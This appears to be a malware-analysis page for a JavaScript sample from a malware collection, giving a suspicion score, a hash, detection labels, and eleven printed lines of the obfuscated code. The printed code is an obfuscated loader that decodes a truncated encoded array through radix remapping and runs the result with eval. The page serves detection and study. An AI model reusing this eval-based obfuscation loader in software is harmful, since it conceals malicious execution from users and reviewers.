Suspicious ^80% javascript-malware-collection Download

20151211_254fc290eebe4ea7fa77f6cab112dced.js

Obfuscated eval execution

parseInt toString radix remapObfuscated increment/decrement via arithmetic

SHA-256177e9e57d490f26d8e9987e768da39484e1f5c26edbcdd3932382e0811855938

Evidence

parseInt toString radix remap lines 1–6

1:460… ','w','x','y','z','{','|','}','~','']
2function yuewd(RCkPmGipJoW,uyDlXjPJZLUHh,zXJpGgSf){CxsF=parseInt(RCkPmGipJoW,uyDlXjPJZLUHh);xNfTH=CxsF.toString(zXJpGgSf);return xNfTH;}function MifsqfIUAxozkuw(sKQjmfuRQLfVQGQPO){eval(sKQjmfuRQLfVQGQPO)}
3function uwRglUniSnpwMSAOVExTqSByZYmnuhZTSzOwRQEMckxihzNmIFxrPe(pSCdGESggzzma,gnBjjQfedNGzEv){ return IfzDG[yuewd(pSCdGESggzzma[gnBjjQfedNGzEv],(12744+45)/609,(1480+940)/242)];}
4function ojSFVWo(SAEUkxKbtxRFrmYTPUIfiuWlsDgUxoAFQyFI) {return !isNaN(parseFloat(SAEUkxKbtxRFrmYTPUIfiuWlsDgUxoAFQyFI)) && isFinite(SAEUkxKbtxRFrmYTPUIfiuWlsDgUxoAFQyFI);}
5function cXFjfJKhYQZ(LStYgEtN,cYGzyk){return LStYgEtN.split(cYGzyk)}
6var C=new Array("d","a","d","a","5d","4d","59","1b","3k","1b","2j","1b","1d","5a","56","4i","5b","28","5e","4h","4e", …

Obfuscated increment/decrement via arithmetic lines 7–11

7:3344… ,"1b","d","a","d","a")
8var icLSq=[C,i];
9var fxLylZQoW=[];
10function llmjaofmzBKdiLEzJ(icLSq){utaTWrlYPwK= '';oNTcuoxHvNQ=(-309+309)/402; while(true){if(oNTcuoxHvNQ >= (-639+741)/51)break;fxLylZQoW[oNTcuoxHvNQ]=(-730+730)/993; while(true) { if(fxLylZQoW[oNTcuoxHvNQ] > icLSq[oNTcuoxHvNQ].length-(-563+978)/415) { break; } if (ojSFVWo(yuewd(icLSq[oNTcuoxHvNQ][fxLylZQoW[oNTcuoxHvNQ]],(10114+428)/502,(2618+872)/349))) {utaTWrlYPwK += uwRglUniSnpwMSAOVExTqSByZYmnuhZTSzOwRQEMckxihzNmIFxrPe([icLSq[oNTcuoxHvNQ][fxLylZQoW[oNTcuoxHvNQ]]], (-467+467)/831);} fxLylZQoW[oNTcuoxHvNQ]++;}oNTcuoxHvNQ++;} return utaTWrlYPwK}
11MifsqfIUAxozkuw(llmjaofmzBKdiLEzJ(icLSq));